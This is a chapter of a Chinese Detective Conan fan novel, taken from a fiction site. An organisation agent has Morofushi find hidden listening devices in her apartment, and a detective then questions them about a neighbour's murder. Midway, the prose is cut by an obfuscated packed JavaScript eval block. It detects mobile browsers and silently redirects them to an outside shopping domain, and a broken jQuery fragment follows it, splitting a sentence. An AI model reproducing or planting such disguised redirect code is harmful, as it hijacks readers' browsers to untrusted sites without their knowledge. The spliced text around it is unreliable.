文趣网 > 都市小说 > 酒厂高层柯学捞钱 > 8. 命案
    萩原警官推荐的拉面店果然不错。

    汤底是浓郁的豚骨酱油味,看上去就非常醇厚,还有那堆成小山的笋干,阿莱塔用筷子戳了两下想把笋干和面条搅和在一起。

    诸伏景光看着阿莱塔的动作,善解人意道:“需要一把叉子吗?我看店家也……”

    “不需要。”阿莱塔果断拒绝,她练了两天用筷子吃饭,现在正好检验一下成果。

    她身子前倾,右手握着那双筷子,指节因用力而稍稍发白,拇指和食指夹住第一根,中指和无名指夹住第二根,动作刚摆好,筷子尖端就不由自主地分开了。

    阿莱塔调整了一下手腕的角度,借助左手把上半截筷子往虎口深处抵了抵。

    明明在家里还挺熟练,怎么在外面就出意外了。

    费了些力总算控制好筷子并极速品尝美味的阿莱塔说道:“对了,你待会送我回去。”

    “好的。”诸伏景光一边暗中观察阿莱塔的举动,一边复盘刚才她所说的话。

    看样子内格罗尼要除掉野村彰。

    听内格罗尼刚才的描述,她所说的“有些交情”必定是糟糕的。

    借任务除掉自己的仇人,符合组织成员一贯的做法。

    太阳缓缓沉下,车在公寓楼下停稳。

    阿莱塔解开安全带,手还搭在安全带的扣环上,说:“一起上来。”

    景光的手还握着方向盘,“好。”

    他熄了火,拔了钥匙,跟着她下了车。

    上楼的时候,他在心里整理了几种可能——在试探他的忠诚度,或者在确认他是否会做出越界的举动,是否会在她的私人空间里留下可追踪的行为痕迹。

    当然也可能是别的事,他暂时还无法判断。

    但无论哪一种,他都需要保持专注,迅速判断她的意图。

    阿莱塔开了锁,推门进去,顺手按亮了玄关的灯,换了拖鞋,走进客厅,站在沙发旁边,转过身来看着他。

    “这间屋子里有窃听器。”她说,语气平淡,“全部找出来。”

    景光稍微停顿,问道:“有几个?”

    “你觉得呢。”

    知道内格罗尼不会给自己其他的信息,诸伏景光就从客厅开始检查。

    或许是个考验。

    沙发边缘、茶几底部、电视柜后面、窗帘杆的固定螺丝处——他在每一个可能有空间藏匿窃听器的位置逐一排查,动作不快不慢。他的手法很细致,手指沿着物件的边缘慢慢摸过去,没有放过任何缝隙。

    四个窃听器。

    阿莱塔点了点头,“继续。”

    今天早晨她用加密手机通电话时收到了对方的提醒。

    【你的房子好像被安装窃听器了,最近和你通话有杂音】

    【是吗?我会尽快处理的】

    随后,阿莱塔凭借自己优秀的反侦查能力找到了安装在客厅的四个窃听器,最隐蔽的一个甚至在窗帘杆的固定螺丝处。

    但窃听者不会只布在客厅这一个点。

    然而,卧室和书房里隐藏着的“耳朵”,她死活找不到。

    她就想到了一个妙招,趁机试试绿川的水平——反正她还没把窃听器拆下来。

    成效显著。

    他又在书房的窗框上找到了第五枚,藏在窗帘杆支架高处与墙面之间的窄缝里,角度刚好能覆盖整个房间的声场范围。

    诸伏景光在原地站了一会儿,目光扫过房间的布局,重新评估可能的安装位置。

    “怎么了?”阿莱塔问。

    “我在想剩下的会放在哪里。”他假装思考,“前几个都放在常见的隐蔽位置……”

    事实上,诸伏景光已经有了大致的猜想——内格罗尼让他来自己的安全屋,只是为了让他拆除房子里的窃听器,而非故意安装后试探他的能力。

    刚才的说辞只是为了糊弄内格罗尼,他倒是很在意窃听者的身份。

    房间内窃听器的布局带有公安一贯的风格,还让他感到熟悉,想到了那位金发的至交好友。

    “是有什么人在您家里安装了窃听器吗?”他试探。

    “我不确定是谁放的,也不确定它们是什么时候被装进来的。”

    “明白。”

    诸伏景光走到门口,看了一眼门框上方,又检查了暖气片的背面和天花板角落的缝隙,依然没有发现。

    如果是zero安装了窃听器,他还要全拆干净吗?

    如果内格罗尼已经知道所有窃听器的位置,而他没能全部排查出来,会被认为能力不足吗?

    阿莱塔安闲自在地坐在沙发上,看着他捣鼓这儿捣鼓那儿的,她毫不掩饰自己的视线,以至于景光被看得有些不自在。

    诸伏景光走到卧室,卧室干净整洁,看不出有关主人的信息。

    风贴着纱窗滑进来,带着下午街道上的柏油味和楼下花坛里的暗香。

    客厅中的阿莱塔已经打开了电视,盘腿窝在沙发里,没有管卧室里窸窸窣窣的声响。

    直到景光将第六枚窃听器递给阿莱塔,“应该只有这些了。”

    “不错,在哪儿找到的?”

    “空调的出风口。”

    阿莱塔:???!!

    迎着阿莱塔不可置信的目光,景光耐心解释:“用磁吸底座吸附在出风口内部的导流板侧面,利用空调运转时的环境噪音掩盖窃听器发出的微弱电磁声。”

    “这个窃听器和其他几枚不一样,先前的需要隔几天换一次电池,而藏在卧室的这一款可以连续使用两到三周。”

    阿莱塔扯了扯嘴角,无语道:“真搞笑,一来日本就不安生。”

    景光品味着她说话的语气,没有发现动怒的痕迹,更多的是一种“怎么又折磨我”无奈。

    “您不生气吗——家里被装了这么多……东西。”

    只听到阿莱塔“哼”了一声,再开口就是冷面幽默的调调,“他能把窃听器装到我家,那是他的本事,我不在乎。”

    “好了,今天辛苦你了……”

    突然,急促的警笛声划破天际,从街角蔓延,又往居民楼收拢。

    很快,脚步声出现了,陆陆续续的皮鞋敲在走廊地砖上,步速稳定,没有犹豫,在这一层停下了。

    阿莱塔用厚毛巾把窃听器裹住,没有说话,只是看着门口的方向。

    隔壁的门被敲响,声音很大,带着一种程序性的耐心。

    门打开了,一个男人的声音传出来,隔着墙壁听不太清他在说什么,但那人语速很快,像是在解释什么。警察的声音更沉一些,偶尔插进一两句问话,不急不缓。

    阿莱塔坐着没动,景光也站在原地,两个人之间隔着几步的距离,互相交换了个眼神,谁都没有说话。

    “隔壁出事了。”

    “三天一小吵五天一大吵的,不出事才有鬼。”阿莱塔说得刻薄,“组织真是越来越敷衍我了,连安全屋都只给这种水平的。”

    景光没有回应,蓝瞳中映着一丝毅然和冷酷。

    大约一刻钟后,敲门声响了。

    阿莱塔隔着门板问了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932769|213655||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一句:“哪位?”

    门外回答:“警视厅,有些事情想向您了解一下。”

    阿莱塔打开门。

    门外站着两名警察,前面那个留着板寸和胡茬,穿了一件深色便服外套,肩上别着警视厅的徽章。

    他个子大,站在门口的时候几乎挡住了一半的光线,眼神先是扫过阿莱塔,然后往她身后的客厅里落了一下,很快又收回来。

    伊达航看清了客厅里那个人的脸,却没有任何变化,只是说了一句:“您好,我们是警视厅搜查一课,正在调查隔壁的命案,想向您确认一些信息。”

    景光端正坐在沙发上,安静地看着门口的方向,在伊达航看向自己的一瞬极轻微地摇了摇头,并很快挪开视线。

    “请问您和隔壁的住户有过接触吗?”伊达航问道。

    阿莱塔果断回答:“没有。”

    伊达航暗中疑惑,邻居之间抬头不见低头见的关系……为何这位外国女士这么果断。

    加上一毕业就见不着人影的景光出现在这里……

    “最近有没有听到过什么异常声响?比如争吵,或者别的声音。”伊达航继续问询。

    “有。”阿莱塔深吸一口气,郑重道,“虽然不知道现在什么情况但我有很多话想对您说。”

    伊达航:???诶?

    诸伏景光被这突发状况整得惊疑不定,不知道她要做什么,总不可能是举报邻居噪音扰民吧。

    阿莱塔邀请伊达航进屋就坐,并开启她的长篇大论:“是这样的,警官先生。

    自两年前入住这间房子以后,我就饱受隔壁一家的噪音之害——吵架声、打闹声…………任何沟通都是无效的……我是深受其害,那时报过一次警,结果你猜怎么着?

    那个警察居然让我忍一忍,说什么邻里之间要互相宽容这些乱七八糟的歪道理。

    两年前我是胳膊拧不过大腿,现在好了,都不用我操心,什么叫恶人自有天收,就是这样!”

    隔壁那对夫妻真是狠人对狠人,脾气暴躁,排外厌女,不幸福者都得退让。

    假如他们打着打着就动真格造成事故,也挺正常。

    伊达航很有警察的专业素养,在本子上记了几笔,面带微笑听她叨叨,偶尔应和两句,借她的嘴了解死者生前的社交圈,“那您今天大约什么时间回来的?”

    “下午五点左右,回来之后一直没出门。”阿莱塔吐槽一顿后感觉心里舒畅多了。

    伊达航点了点头,没有追问。他合上本子,退后半步,语气温和:“感谢您的配合,如果后续还有需要确认的信息,可能会再来打扰。”

    阿莱塔说:“没问题,随时可以。”

    伊达航转身,和另一名警察一起离开,关门时他抬头看了景光一眼,短得几乎没有停留,脚步声渐渐远去了。

    阿莱塔昂了昂下颌,“要走吗?我送送你。”

    景光点头,走了出去。

    警察还在隔壁家办案。

    过道狭窄,窗户透进来一片天光。

    他走出公寓楼时,看到一辆熟悉的轿车停在街对面,车窗紧闭。

    “就到这里吧,多谢了,内格罗尼。”

    阿莱塔颔首,“明天仔细点,别失误。”

    “好的。”

    确认阿莱塔离开后,诸伏景光才若无其事地穿过那辆轿车背后的巷子,走到一半时,他似乎自言自语了一句:

    “真是刁钻啊,Zero。”

    一抹金色在角落边的阴影处闪着细碎的光。